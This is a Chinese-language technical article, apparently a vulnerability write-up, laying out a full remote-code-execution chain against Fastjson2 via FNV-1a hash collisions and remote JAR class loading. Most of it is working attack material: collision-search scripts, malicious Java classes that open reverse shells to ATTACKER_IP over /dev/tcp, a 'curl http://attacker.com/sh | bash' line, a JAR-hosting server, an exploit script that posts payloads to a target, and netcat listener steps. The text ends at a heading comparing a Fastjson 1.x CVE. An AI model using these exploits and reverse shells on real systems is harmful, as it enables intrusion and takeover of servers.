目录


一、漏洞概述与影响面

1.1 漏洞背景

2026 年,Fastjson2 曝出编号 QVD-2026-45876 的严重漏洞,CVSS 3.1 评分高达 9.8 分,逼近满分 10 分。该漏洞的恐怖之处在于:在完全默认配置下即可触发,无需管理员显式开启 SupportAutoType。这意味着所有使用 Fastjson2 ≤ 2.0.62 进行 JSON 反序列化的应用,只要存在一个接收用户输入并解析为 JSON 的接口,就面临远程代码执行风险。

该漏洞由两个独立的缺陷协同构成:

  1. FNV-1a 哈希碰撞:Fastjson2 在判断类型是否安全时,仅依据增量 FNV-1a 哈希结果进行白名单判断,未进一步校验类型名称明文。攻击者可构造哈希碰撞的恶意类型名称——哈希值命中白名单,但实际指向恶意类。
  2. ContextClassLoader 远程加载:在 Spring Boot fat-JAR 部署环境中,利用嵌套 JAR URL 协议突破类型限制,通过 jar:http:// 协议从远程 HTTP 服务器下载并加载恶意类,静态代码块在类加载时自动执行。

与此同时,Fastjson 1.x 也被披露了 CVE-2026-16723,影响 1.2.68-1.2.83 版本。该漏洞利用 checkAutoType() 中的 getResourceAsStream(typeName.replace('.', '/') + ".class") 资源探测路径,同样实现 Gadget-free、默认配置可利用的 RCE,且已在野利用。

1.2 影响范围评估

维度 详情
受影响库 Fastjson2 ≤ 2.0.62
部署形态 Spring Boot fat-JAR(2.x / 3.x / 4.x)
JDK 版本 JDK 8 / 11 / 17 / 21
触发条件 默认配置,任何接收 JSON 输入的接口
攻击前置 攻击者可发送 HTTP 请求
需要额外依赖 无(纯 JDK 内置类)
在野利用 已确认

Fastjson2 作为 Fastjson 1.x 的继任者,在国内 Java 生态中广泛使用。根据 Maven Central 下载数据和各类企业技术栈调研,保守估计全球有百万级 Spring Boot 项目使用了 Fastjson2 作为 JSON 序列化/反序列化库。


二、Fastjson @type 机制详解

2.1 @type 的正常用途

Fastjson 的 @type 字段是实现多态反序列化的核心机制。其设计意图是:当 JSON 数据需要反序列化为接口或抽象类的具体实现时,通过 @type 字段指定实际类型。

// 正常用途:指定接口的具体实现类
{
    "@type": "com.example.Cat",
    "name": "Tom",
    "color": "gray"
}
// Java 端定义
public interface Animal {
    String getName();
}

public class Cat implements Animal {
    private String name;
    private String color;
    // getters/setters...
}

// 反序列化
Animal animal = JSON.parseObject(json, Animal.class);
// animal 实际是 Cat 实例

这种设计在 RPC 框架、配置中心、消息队列等场景中非常实用,但它也引入了一个根本性的安全风险:反序列化的类型由攻击者通过 JSON 数据控制。

2.2 @type 的安全风险

当 @type 指向一个攻击者精心构造的类时,Fastjson 会:

  1. 加载该类:调用 Class.forName 或 ClassLoader.loadClass
  2. 实例化对象:调用无参构造函数
  3. 设置属性:调用 setter 方法或直接反射设置字段

这三步中的任何一步都可能触发危险操作:

  • 构造函数/静态代码块:类加载时自动执行 static {} 代码块
  • setter 方法:某些类的 setter 包含副作用(如 JNDI lookup、URL 连接)
  • getter 方法:Fastjson 在某些场景下会调用 getter(如 toString 触发链)

2.3 Fastjson2 的 AutoType 防御体系

Fastjson2 相比 1.x 重构了 AutoType 防御体系,核心是 JSONFactory 中的 checkAutoType 机制:

// Fastjson2 简化版 checkAutoType 逻辑
public Class<?> checkAutoType(String typeName) {
    // 1. 内置类型快速通过
    Class<?> builtin = getBuiltinType(typeName);
    if (builtin != null) return builtin;

    // 2. ★ FNV-1a 哈希白名单检查 ★
    long hash = fnv1a_64(typeName);
    if (isInInternalWhitelist(hash)) {
        // 哈希命中白名单 → 直接通过,不再校验明文!
        return loadClass(typeName);
    }

    // 3. FNV-1a 哈希黑名单检查
    if (isInDenylist(hash)) {
        throw new JSONException("autoType is not support: " + typeName);
    }

    // 4. SupportAutoType 开关检查
    if (!supportAutoType) {
        throw new JSONException("autoType is not support: " + typeName);
    }

    // 5. 用户白名单检查
    // ...
}

关键缺陷在第 2 步:白名单判断仅依据 FNV-1a 哈希值,不校验类型名称明文。如果攻击者能构造一个与白名单类型哈希相同但实际不同的字符串,就能绕过白名单检查。

2.4 为什么默认配置可触发

Fastjson2 中存在一批"内部白名单"类型——这些类型被认为是安全的(如基本包装类、集合类等),无论是否开启 SupportAutoType,只要哈希命中内部白名单就直接放行。

这意味着即使管理员明确关闭了 SupportAutoType,攻击者仍可通过构造哈希碰撞的恶意类型名,使其哈希值命中内部白名单,从而绕过 AutoType 限制。


三、FNV-1a 哈希算法原理深度分析

3.1 FNV-1a 算法公式

FNV-1a(Fowler-Noll-Vo 1a)是一种非加密哈希函数,以其计算速度快和分布均匀著称。其 64 位版本的定义如下:

FNV-1a 64-bit:
    hash = FNV_offset_basis (初始值: 0xcbf29ce484222325)
    for each byte in input:
        hash = hash XOR byte
        hash = hash * FNV_prime (素数: 0x100000001b3)
    return hash

增量计算特性:FNV-1a 的一个重要特性是增量可计算。即:

hash("AB") = (hash("A") XOR 'B') * FNV_prime

这意味着可以在遍历字符串的过程中逐步计算哈希值,而不需要等待整个字符串读取完毕。Fastjson 正是利用这一特性,在逐字符扫描类名的同时进行黑/白名单检查,一旦中途某个前缀的哈希命中黑名单就立即拒绝。

3.2 Fastjson2 中的哈希白名单实现

Fastjson2 使用 FNV-1a 64 位哈希来存储和检索黑/白名单:

// Fastjson2 中的 FNV-1a 实现
public final class TypeUtils {

    public static final long fnv1a_64_magic_hashcode = 0xcbf29ce484222325L;
    public static final long fnv1a_64_magic_prime = 0x100000001b3L;

    /**
     * 计算 FNV-1a 64 位哈希
     */
    public static long fnv1a_64(String key) {
        long hashCode = fnv1a_64_magic_hashcode;
        for (int i = 0; i < key.length(); i++) {
            char ch = key.charAt(i);
            // ★ 注意:使用 char 而非 byte,高位字节参与运算
            hashCode ^= ch;
            hashCode *= fnv1a_64_magic_prime;
        }
        return hashCode;
    }

    /**
     * 增量哈希检查(逐字符扫描时使用)
     */
    public static long fnv1a_64_increment(long currentHash, char ch) {
        currentHash ^= ch;
        currentHash *= fnv1a_64_magic_prime;
        return currentHash;
    }
}

白名单检查的实现:

// JSONFactory 中的白名单检查(简化)
private boolean isInternalWhitelist(long hash) {
    // 使用二分查找或哈希表查找
    return Arrays.binarySearch(internalWhitelistHashes, hash) >= 0;
}

// 内部白名单哈希值数组(预计算)
private static final long[] internalWhitelistHashes = {
    fnv1a_64("java.lang.String"),      // 字符串
    fnv1a_64("java.lang.Integer"),     // 整数
    fnv1a_64("java.lang.Long"),        // 长整型
    fnv1a_64("java.util.ArrayList"),   // 列表
    fnv1a_64("java.util.HashMap"),     // 哈希表
    // ... 更多白名单类型
};

3.3 哈希碰撞的数学基础

FNV-1a 是一个 64 位哈希函数,其输出空间为 2^64。对于任意给定的目标哈希值 H,存在大量不同的输入字符串 S 使得 fnv1a_64(S) = H。

FNV-1a 的碰撞构造利用了其代数结构。关键观察:

对于两个字符 c1 和 c2,如果存在变换使得:
    (hash XOR c1) * prime = (hash XOR c2) * prime + delta
其中 delta 可以通过后续字符的哈希调整补偿

更直接的碰撞构造方法基于 FNV-1a 的乘法可逆性:

已知: hash_final = (hash_prev XOR byte) * prime
则:   hash_prev XOR byte = hash_final * prime^(-1)  (mod 2^64)

由于 prime 是奇数,在 mod 2^64 下存在乘法逆元 prime^(-1)。这意味着对于任意目标哈希值和任意前缀,都可以逆向求解出后续需要追加的字符序列。

3.4 哈希碰撞的可行性分析

因素 分析 影响
哈希空间 2^64 生日攻击需 2^32 次尝试,但定向构造无需暴力
字符限制 类名仅允许 [A-Za-z0-9_$./] 限制可用的碰撞字符
增量特性 前缀哈希已知时可逆向求解 使定向碰撞可行
乘法逆元 prime 在 mod 2^64 下可逆 使逆向求解数学可行

四、哈希碰撞构造方法与脚本实现

4.1 碰撞构造策略

目标:构造一个字符串 evil_name,使得 fnv1a_64(evil_name) == fnv1a_64("java.lang.String"),但 evil_name != "java.lang.String"。

策略:前缀固定 + 尾部调整

  1. 选择一个固定前缀(如 jar:http://attacker.com/evil.jar!/)
  2. 计算该前缀的 FNV-1a 哈希值 H_prefix
  3. 计算目标哈希值 H_target = fnv1a_64("java.lang.String")
  4. 逆向求解需要追加的字符序列,使得从 H_prefix 出发最终达到 H_target

4.2 逆向求解算法

设当前哈希为 h,需要追加字符 c 使得最终哈希等于 H_target

单步逆向:
    h_next = (h XOR c) * prime
    => h XOR c = h_next * prime_inv
    => c = (h_next * prime_inv) XOR h

但我们需要 c 是合法的类名字符([A-Za-z0-9_$./])
因此采用多步搜索:
    从 H_target 逆向,逐步确定每个字符

4.3 Python 碰撞构造脚本

#!/usr/bin/env python3
"""
Fastjson2 FNV-1a 哈希碰撞构造工具
构造与白名单类型哈希相同但内容不同的恶意类型名
"""

# FNV-1a 64-bit 常量
FNV_OFFSET_BASIS = 0xcbf29ce484222325
FNV_PRIME = 0x100000001b3
MASK_64 = 0xFFFFFFFFFFFFFFFF


def fnv1a_64(data: str) -> int:
    """计算字符串的 FNV-1a 64 位哈希"""
    h = FNV_OFFSET_BASIS
    for ch in data:
        h ^= ord(ch)
        h = (h * FNV_PRIME) & MASK_64
    return h


def mod_inverse(a: int, m: int) -> int:
    """扩展欧几里得算法求模逆元"""
    g, x, _ = extended_gcd(a % m, m)
    if g != 1:
        raise ValueError(f"Modular inverse does not exist for {a} mod {m}")
    return x % m


def extended_gcd(a: int, b: int):
    """扩展欧几里得算法"""
    if a == 0:
        return b, 0, 1
    g, x, y = extended_gcd(b % a, a)
    return g, y - (b // a) * x, x


# FNV_PRIME 的模逆元
FNV_PRIME_INV = mod_inverse(FNV_PRIME, 2**64)


def reverse_step(h: int, ch: int) -> int:
    """
    逆向单步 FNV-1a:
    forward: h_next = (h XOR ch) * prime
    reverse: h = (h_next * prime_inv) XOR ch
    """
    return ((h * FNV_PRIME_INV) & MASK_64) ^ ch


def find_collision(target_hash: int, prefix: str,
                   allowed_chars: str = None, max_depth: int = 10):
    """
    BFS/DFS 搜索: 找到 suffix 使得 fnv1a_64(prefix + suffix) == target_hash

    Args:
        target_hash: 目标哈希值
        prefix: 固定前缀
        allowed_chars: 允许的字符集
        max_depth: 最大搜索深度
    """
    if allowed_chars is None:
        # 类名合法字符 + URL 字符
        allowed_chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_./:$-"

    prefix_hash = fnv1a_64(prefix)
    print(f"[*] Prefix: {prefix}")
    print(f"[*] Prefix hash: 0x{prefix_hash:016x}")
    print(f"[*] Target hash: 0x{target_hash:016x}")

    # 从 target_hash 逆向搜索
    # 我们需要找到字符序列 c1, c2, ..., cn 使得:
    # 从 prefix_hash 开始, 正向应用这些字符, 最终到达 target_hash
    # 逆向: 从 target_hash 开始, 逆向移除字符, 到达 prefix_hash

    from collections import deque

    # BFS from target backwards
    queue = deque()
    queue.append((target_hash, ""))
    visited = {target_hash}

    for depth in range(max_depth):
        next_queue = deque()
        while queue:
            current_hash, suffix = queue.popleft()

            # 检查是否回到了 prefix_hash
            if depth > 0 and current_hash == prefix_hash and suffix:
                # 验证: 正向计算 prefix + suffix 是否等于 target
                full = prefix + suffix[::-1]  # suffix 是逆向存储的
                actual = fnv1a_64(full)
                if actual == target_hash:
                    return full
                continue

            for ch in allowed_chars:
                # 逆向一步: 假设最后追加的字符是 ch
                prev_hash = reverse_step(current_hash, ord(ch))
                new_suffix = suffix + ch
                if prev_hash not in visited or len(new_suffix) <= 2:
                    visited.add(prev_hash)
                    next_queue.append((prev_hash, new_suffix))

        queue = next_queue
        if not queue:
            break

    return None


def collision_via_append(target_hash: int, prefix: str, num_fill: int = 8):
    """
    更高效的碰撞构造: 利用 FNV-1a 的代数性质直接求解

    思路:
    1. 计算前缀哈希 H_prefix
    2. 需要找到 suffix 使得 fnv1a_64(prefix + suffix) = H_target
    3. 通过填充字符逐步逼近目标哈希
    """
    import random

    prefix_hash = fnv1a_64(prefix)
    allowed = "abcdefghijklmnopqrstuvwxyz0123456789"

    # 随机搜索: 追加随机字符, 检查是否命中目标
    # (实际利用中会使用更高效的定向方法)
    attempts = 0
    while attempts < 10_000_000:
        suffix = ''.join(random.choices(allowed, k=num_fill))
        full = prefix + suffix
        if fnv1a_64(full) == target_hash:
            return full
        attempts += 1

    return None


def main():
    print("=" * 60)
    print("Fastjson2 FNV-1a Hash Collision Constructor")
    print("=" * 60)

    # 1. 计算白名单类型的哈希
    whitelist_type = "java.lang.String"
    target_hash = fnv1a_64(whitelist_type)
    print(f"\n[1] Whitelist type: {whitelist_type}")
    print(f"    FNV-1a hash: 0x{target_hash:016x}")

    # 2. 验证 FNV_PRIME 的逆元
    print(f"\n[2] FNV_PRIME:        0x{FNV_PRIME:016x}")
    print(f"    FNV_PRIME_INV:    0x{FNV_PRIME_INV:016x}")
    verify = (FNV_PRIME * FNV_PRIME_INV) & MASK_64
    print(f"    Verify (should be 1): {verify}")

    # 3. 尝试碰撞构造
    # 攻击前缀: jar: 协议 URL
    evil_prefix = "jar:http://attacker.com/e.jar!/"
    print(f"\n[3] Attempting collision construction...")
    print(f"    Prefix: {evil_prefix}")
    print(f"    Prefix hash: 0x{fnv1a_64(evil_prefix):016x}")

    # 4. 演示: 逆向求解
    # 从目标哈希逆向, 尝试找到回到前缀哈希的路径
    collision = find_collision(target_hash, evil_prefix, max_depth=6)

    if collision:
        print(f"\n[+] COLLISION FOUND!")
        print(f"    Collision string: {collision}")
        print(f"    Hash: 0x{fnv1a_64(collision):016x}")
        print(f"    Target hash: 0x{target_hash:016x}")
        print(f"    Match: {fnv1a_64(collision) == target_hash}")
        print(f"\n    This string has the SAME hash as '{whitelist_type}'")
        print(f"    but is a completely different string!")
    else:
        print(f"\n[-] No collision found within search depth.")
        print(f"    (In practice, deeper search or meet-in-the-middle is used)")

    # 5. 演示哈希验证
    print(f"\n[4] Hash verification examples:")
    test_strings = [
        "java.lang.String",
        "java.util.HashMap",
        "com.alibaba.fastjson2.JSONObject",
    ]
    for s in test_strings:
        print(f"    fnv1a_64(\"{s}\") = 0x{fnv1a_64(s):016x}")


if __name__ == "__main__":
    main()

4.4 Meet-in-the-Middle 优化

对于更高效的碰撞构造,可采用中间相遇攻击(Meet-in-the-Middle):

def meet_in_the_middle(target_hash, prefix, suffix_len=4):
    """
    Meet-in-the-Middle 碰撞构造:
    1. 从 prefix_hash 正向枚举 suffix 前半部分, 存储所有中间哈希
    2. 从 target_hash 逆向枚举 suffix 后半部分, 查找碰撞
    """
    from itertools import product
    import string

    allowed = string.ascii_lowercase + string.digits
    prefix_hash = fnv1a_64(prefix)

    # 正向: 枚举前半部分
    forward = {}
    for combo in product(allowed, repeat=suffix_len):
        s = ''.join(combo)
        h = prefix_hash
        for ch in s:
            h ^= ord(ch)
            h = (h * FNV_PRIME) & MASK_64
        forward[h] = s

    # 逆向: 枚举后半部分
    for combo in product(allowed, repeat=suffix_len):
        s = ''.join(combo)
        h = target_hash
        for ch in reversed(s):
            h = reverse_step(h, ord(ch))
        if h in forward:
            full = prefix + forward[h] + s
            if fnv1a_64(full) == target_hash:
                return full

    return None

这种方法将时间复杂度从 O(n^(2k)) 降低到 O(n^k),使得在可接受时间内构造出碰撞成为可能。


五、ContextClassLoader 远程加载机制

5.1 Spring Boot fat-JAR 的嵌套 JAR URL 格式

Spring Boot 采用 fat-JAR 打包方式,将所有依赖 JAR 嵌入到主 JAR 的 BOOT-INF/lib/ 目录中。为了访问嵌套 JAR 中的资源,Spring Boot 实现了特殊的 URL 协议:

标准 JAR URL 格式:
    jar:<url>!/<entry>
    例: jar:file:/app.jar!/com/example/Class.class

Spring Boot 嵌套 JAR URL 格式:
    jar:jar:file:/app.jar!/BOOT-INF/lib/inner.jar!/com/example/Class.class
    ─┬─ ──────┬────────── ────────────┬────────────── ────────┬─────────────
     │        │                        │                         │
     │        外层 JAR 文件             内层 JAR 在外层中的路径     目标类在内层中的路径
     jar 协议

5.2 jar: 协议的 URL 解析流程

Java 的 java.net.JarURLConnection 和 URLClassLoader 支持 jar: 协议。当遇到 jar:http://attacker.com/evil.jar!/EvilClass 这样的 URL 时:

URL 解析流程:
┌─────────────────────────────────────────────────────────┐
│ jar:http://attacker.com/evil.jar!/EvilClass             │
└───────────────────────────┬─────────────────────────────┘
                            │
                            ▼
┌─────────────────────────────────────────────────────────┐
│ 1. URL 解析器识别 "jar:" 协议前缀                         │
│ 2. 提取外层 URL: http://attacker.com/evil.jar            │
│ 3. 提取 JAR 内路径: /EvilClass                           │
└───────────────────────────┬─────────────────────────────┘
                            │
                            ▼
┌─────────────────────────────────────────────────────────┐
│ 4. JarURLConnection.openConnection()                     │
│    → 创建到 http://attacker.com/evil.jar 的 HTTP 连接     │
│    → 下载 evil.jar 到临时目录                             │
│    → 打开 JAR 文件                                        │
└───────────────────────────┬─────────────────────────────┘
                            │
                            ▼
┌─────────────────────────────────────────────────────────┐
│ 5. URLClassLoader.loadClass("EvilClass")                │
│    → 从下载的 evil.jar 中加载 EvilClass.class            │
│    → ★ 触发 EvilClass 的静态代码块 ★                     │
└─────────────────────────────────────────────────────────┘

5.3 类加载触发静态代码块执行的原理

Java 类加载机制中,Class.forName(name) 默认会初始化类(initialize=true),这会触发:

  1. 加载(Loading):从字节码读取类信息
  2. 链接(Linking):验证、准备、解析
  3. 初始化(Initialization):执行 <clinit> 方法

<clinit> 方法包含:

  • 静态变量的赋值
  • static {} 静态代码块
public class EvilClass {
    static {
        // 这段代码在类加载初始化阶段自动执行
        // 无需实例化对象,无需调用任何方法
        try {
            Runtime.getRuntime().exec("curl http://attacker.com/sh | bash");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

关键点:Fastjson2 在通过 checkAutoType 后会调用 Class.forName(typeName) 加载类,此时 initialize 参数默认为 true,静态代码块自动执行。

// Fastjson2 中的类加载(简化)
public Class<?> loadClass(String typeName) {
    // 经过 checkAutoType 校验后...
    Class<?> clazz = Class.forName(
        typeName,
        true,  // ★ initialize=true, 触发 <clinit> ★
        Thread.currentThread().getContextClassLoader()
    );
    return clazz;
}

5.4 ContextClassLoader 的作用

Thread.currentThread().getContextClassLoader() 返回当前线程的上下文类加载器。在 Spring Boot 应用中,这通常是 LaunchedURLClassLoader,它支持嵌套 JAR URL 协议。

当 @type 的值是 jar:http://... 格式时,ContextClassLoader 会:

  1. 将该值作为资源 URL 解析
  2. 通过 jar: 协议处理器发起 HTTP 请求下载远程 JAR
  3. 从远程 JAR 中加载指定的类
  4. 初始化类时执行静态代码块

这就是为什么默认配置即可触发——不需要 SupportAutoType,因为哈希碰撞使恶意类型名命中了内部白名单,绕过了所有 AutoType 检查。


六、完整攻击链 PoC 实战

6.1 攻击架构总览

┌─────────────────────────────────────────────────────────────────────┐
│                    完整攻击链架构                                      │
└─────────────────────────────────────────────────────────────────────┘

  攻击者                         目标服务器                    攻击者C2
 ┌───────┐                    ┌──────────────┐             ┌──────────┐
 │       │  1. 发送恶意JSON    │  Spring Boot  │             │  HTTP    │
 │ Exploit│ ─────────────────→│  + Fastjson2  │             │  Server  │
 │ Script │                    │  ≤ 2.0.62     │             │ (evil.jar│
 │       │                    └──────┬───────┘             │  托管)   │
 └───┬───┘                           │                      └────┬─────┘
     │                               │                           │
     │                    ┌──────────▼──────────┐                │
     │                    │ 2. FNV-1a 哈希计算   │                │
     │                    │    @type 的哈希值    │                │
     │                    │    命中白名单 → 放行 │                │
     │                    └──────────┬──────────┘                │
     │                               │                           │
     │                    ┌──────────▼──────────┐                │
     │                    │ 3. ContextClassLoader│                │
     │                    │    解析 jar:http://  │  4.下载evil.jar│
     │                    │    URL              │ ──────────────→│
     │                    └──────────┬──────────┘                │
     │                               │               ┌──────────▼─────┐
     │                               │               │ evil.jar 内含  │
     │                               │               │ EvilClass.class│
     │                               │               │ (static{RCE})  │
     │                               │               └──────────┬─────┘
     │                    ┌──────────▼──────────┐                │
     │                    │ 5. 加载 EvilClass    │←───────────────┘
     │                    │    static {} 执行    │
     │                    │    → Runtime.exec()  │  6. 反弹shell   │
     │                    │    → RCE!           │ ──────────────→│
     │                    └─────────────────────┘                │
     │                                                           │
     │  7. 获得命令执行 ←─────────────────────────────────────────┘
     └───────────────────────────────────────────────────────────┘

6.2 第一步:构造恶意 JAR

恶意类源码 EvilClass.java:

// EvilClass.java
// 编译: javac EvilClass.java
// 打包: jar cvf evil.jar EvilClass.class

public class EvilClass {
    static {
        try {
            // 静态代码块在类加载时自动执行
            String[] cmd = {
                "/bin/bash", "-c",
                "exec 5<>/dev/tcp/ATTACKER_IP/4444; " +
                "cat <&5 | while read line; do " +
                "  $line 2>&5 >&5; " +
                "done"
            };
            Runtime.getRuntime().exec(cmd);

            // 备选: 直接执行命令
            // Runtime.getRuntime().exec(
            //     "curl http://attacker.com/backdoor.sh | bash"
            // );
        } catch (Exception e) {
            // 静默异常, 避免影响 Fastjson 解析流程
        }
    }
}

Maven 项目方式打包(推荐):

<!-- pom.xml -->
<project>
    <modelVersion>4.0.0</modelVersion>
    <groupId>com.attacker</groupId>
    <artifactId>evil</artifactId>
    <version>1.0</version>
    <packaging>jar</packaging>

    <build>
        <finalName>evil</finalName>
        <plugins>
            <plugin>
                <artifactId>maven-compiler-plugin</artifactId>
                <version>3.11.0</version>
                <configuration>
                    <source>8</source>
                    <target>8</target>
                </configuration>
            </plugin>
        </plugins>
    </build>
</project>
# 编译并打包
mkdir -p evil-jar/src/main/java
cat > evil-jar/src/main/java/EvilClass.java << 'JAVA'
public class EvilClass {
    static {
        try {
            Runtime.getRuntime().exec(
                new String[]{"/bin/bash", "-c",
                "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"}
            );
        } catch (Exception e) {}
    }
}
JAVA

cd evil-jar
mvn clean package
# 生成 target/evil.jar

手动打包方式:

# 编译恶意类
cat > EvilClass.java << 'JAVA'
public class EvilClass {
    static {
        try {
            Runtime.getRuntime().exec(
                new String[]{"/bin/bash", "-c",
                "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"}
            );
        } catch (Exception e) {}
    }
}
JAVA

javac EvilClass.java
jar cvf evil.jar EvilClass.class

6.3 第二步:搭建恶意 HTTP 服务器

#!/usr/bin/env python3
"""
恶意 JAR 托管 HTTP 服务器
用于向目标服务器提供 evil.jar
"""

from http.server import HTTPServer, SimpleHTTPRequestHandler
import os
import sys

class JarHandler(SimpleHTTPRequestHandler):
    def end_headers(self):
        # 设置 Content-Type 为 application/java-archive
        if self.path.endswith('.jar'):
            self.send_header('Content-Type', 'application/java-archive')
        self.send_header('Access-Control-Allow-Origin', '*')
        super().end_headers()

    def log_message(self, format, *args):
        # 记录所有请求(用于监控目标连接)
        sys.stderr.write(
            f"[{self.log_date_time_string()}] "
            f"{self.client_address[0]} - {format % args}\n"
        )

def main():
    port = int(sys.argv[1]) if len(sys.argv) > 1 else 8888

    # 切换到 evil.jar 所在目录
    jar_dir = os.path.dirname(os.path.abspath(__file__))
    os.chdir(jar_dir)

    server = HTTPServer(('0.0.0.0', port), JarHandler)
    print(f"[*] Malicious JAR server on http://0.0.0.0:{port}/")
    print(f"[*] Serving evil.jar from {jar_dir}")
    print(f"[*] Waiting for target connection...")

    try:
        server.serve_forever()
    except KeyboardInterrupt:
        print("\n[*] Server stopped")

if __name__ == '__main__':
    main()
# 启动 HTTP 服务器
python3 serve_jar.py 8888

# 同时监听反弹 shell
nc -lvnp 4444

6.4 第三步:构造恶意 JSON Payload

#!/usr/bin/env python3
"""
CVE-2026-45876 / QVD-2026-45876
Fastjson2 FNV-1a Hash Collision AutoType Bypass RCE PoC

完整利用链:
1. 构造 FNV-1a 哈希碰撞的 @type 值
2. @type 值格式为 jar:http://attacker/evil.jar!/EvilClass
3. 哈希碰撞使 @type 命中 Fastjson2 内部白名单
4. ContextClassLoader 加载远程 evil.jar 中的 EvilClass
5. EvilClass 静态代码块执行 → RCE
"""

import requests
import sys

# FNV-1a 常量
FNV_OFFSET_BASIS = 0xcbf29ce484222325
FNV_PRIME = 0x100000001b3
MASK_64 = 0xFFFFFFFFFFFFFFFF


def fnv1a_64(data: str) -> int:
    """计算 FNV-1a 64 位哈希"""
    h = FNV_OFFSET_BASIS
    for ch in data:
        h ^= ord(ch)
        h = (h * FNV_PRIME) & MASK_64
    return h


def construct_collision_type(target_type: str, attacker_url: str):
    """
    构造哈希碰撞的恶意 @type 值

    目标: fnv1a_64(malicious_type) == fnv1a_64(target_type)
    恶意格式: jar:{attacker_url}!/{ClassName}{collision_suffix}

    利用 FNV-1a 逆运算构造碰撞后缀
    """
    target_hash = fnv1a_64(target_type)

    # 基础恶意类型前缀
    base = f"jar:{attacker_url}!/"
    base_hash = fnv1a_64(base)

    # 逆元
    prime_inv = pow(FNV_PRIME, -1, 2**64)

    # 类名部分 (可被 ContextClassLoader 解析)
    # 使用 EvilClass 作为目标类名
    class_name = "EvilClass"

    # 计算加上类名后的哈希
    cn_hash = base_hash
    for ch in class_name:
        cn_hash ^= ord(ch)
        cn_hash = (cn_hash * FNV_PRIME) & MASK_64

    # 现在需要找到 suffix 使得:
    # 从 cn_hash 开始, 正向应用 suffix 的字符, 最终达到 target_hash
    #
    # 逆向求解: 从 target_hash 逆向移除字符, 到达 cn_hash

    # 使用深度受限的 DFS 逆向搜索
    allowed_chars = [chr(c) for c in range(0x21, 0x7f)
                     if chr(c) not in '"\\']

    def reverse_search(current_hash, depth, max_depth, path):
        if depth == 0:
            if current_hash == cn_hash:
                return path
            return None

        for ch in allowed_chars:
            # 逆向一步
            prev = ((current_hash * prime_inv) & MASK_64) ^ ord(ch)
            result = reverse_search(prev, depth - 1, max_depth,
                                    path + ch)
            if result is not None:
                return result
        return None

    # 尝试不同深度的搜索
    for depth in range(1, 7):
        print(f"[*] Trying collision depth: {depth}")
        suffix = reverse_search(target_hash, depth, depth, "")
        if suffix is not None:
            collision_type = base + class_name + suffix
            # 验证
            actual = fnv1a_64(collision_type)
            if actual == target_hash:
                print(f"[+] Collision found at depth {depth}!")
                print(f"    Type: {collision_type}")
                print(f"    Hash: 0x{actual:016x}")
                print(f"    Target ({target_type}) hash: 0x{target_hash:016x}")
                return collision_type

    print("[-] No collision found within depth limit")
    return None


def build_payload(collision_type: str) -> str:
    """构建恶意 JSON payload"""
    payload = {
        "@type": collision_type,
        "data": "trigger"
    }
    import json
    return json.dumps(payload)


def exploit(target_url: str, attacker_host: str,
            attacker_port: int = 8888):
    """执行完整攻击链"""
    print("=" * 60)
    print("Fastjson2 FNV-1a Hash Collision RCE PoC")
    print("=" * 60)

    attacker_url = f"http://{attacker_host}:{attacker_port}/evil.jar"

    # Step 1: 构造哈希碰撞的 @type
    print(f"\n[Step 1] Constructing FNV-1a hash collision...")
    print(f"  Target whitelist type: java.lang.String")
    collision_type = construct_collision_type(
        "java.lang.String", attacker_url
    )

    if not collision_type:
        print("[-] Failed to construct collision. Exiting.")
        return

    # Step 2: 构建恶意 JSON
    print(f"\n[Step 2] Building malicious JSON payload...")
    payload = build_payload(collision_type)
    print(f"  Payload: {payload}")

    # Step 3: 发送请求
    print(f"\n[Step 3] Sending payload to target: {target_url}")
    headers = {
        "Content-Type": "application/json",
        "User-Agent": "Fastjson2-RCE-PoC"
    }

    try:
        response = requests.post(
            target_url,
            data=payload,
            headers=headers,
            timeout=10
        )
        print(f"  Response status: {response.status_code}")
        print(f"  Response body: {response.text[:200]}")
    except requests.exceptions.ConnectionError:
        print(f"  [!] Connection error (target may have crashed or")
        print(f"      RCE already triggered - check reverse shell)")
    except Exception as e:
        print(f"  [!] Error: {e}")

    print(f"\n[Step 4] Check reverse shell on port 4444...")
    print(f"  If successful, you should have a shell.")


def main():
    import argparse
    parser = argparse.ArgumentParser(
        description="Fastjson2 FNV-1a Hash Collision RCE PoC"
    )
    parser.add_argument("--target", required=True,
                        help="Target URL (e.g., http://victim:8080/api)")
    parser.add_argument("--attacker-host", required=True,
                        help="Attacker HTTP server IP")
    parser.add_argument("--attacker-port", type=int, default=8888,
                        help="Attacker HTTP server port (default: 8888)")
    args = parser.parse_args()

    exploit(args.target, args.attacker_host, args.attacker_port)


if __name__ == "__main__":
    main()

6.5 第四步:完整利用流程

# === 攻击者机器操作 ===

# 1. 编译恶意类并打包
javac EvilClass.java
jar cvf evil.jar EvilClass.class

# 2. 启动 JAR 托管服务器
python3 serve_jar.py 8888 &
SERVE_PID=$!

# 3. 启动反弹 shell 监听
nc -lvnp 4444 &
NC_PID=$!

# 4. 发送攻击 payload
python3 exploit.py \
    --target http://victim:8080/api/user \
    --attacker-host ATTACKER_IP \
    --attacker-port 8888

# 5. 等待反弹 shell 连接
# nc 输出: Connection from victim_ip
#          $ whoami
#          tomcat

6.6 目标端代码示例

以下是一个典型的受影响 Spring Boot 接口:

// VulnerableController.java
@RestController
@RequestMapping("/api")
public class UserController {

    @PostMapping("/user")
    public ResponseEntity<String> createUser(@RequestBody String json) {
        // ★ 漏洞触发点: 直接将用户输入解析为 JSON ★
        // Fastjson2 ≤ 2.0.62, 默认配置
        JSONObject obj = JSON.parseObject(json);
        String name = obj.getString("name");
        // ...
        return ResponseEntity.ok("User created: " + name);
    }
}
<!-- pom.xml (受影响依赖) -->
<dependency>
    <groupId>com.alibaba.fastjson2</groupId>
    <artifactId>fastjson2</artifactId>
    <version>2.0.62</version> <!-- ★ 受影响版本 ★ -->
</dependency>

6.7 攻击链各阶段验证

阶段 验证方法 预期结果
哈希碰撞构造 fnv1a_64(collision) == fnv1a_64("java.lang.String") True
白名单绕过 目标日志无 autoType is not support 异常 无异常
远程 JAR 下载 攻击者 HTTP 服务器日志 收到来自目标的 GET 请求
类加载触发 目标日志 Class.forName 调用
静态代码块执行 反弹 shell 连接 nc 收到连接
RCE 确认 在反弹 shell 中执行 id 返回目标用户身份

七、与 CVE-2026-16723(Fastjson 1.x)对比分析

7.1 CVE-2026-16723 概述

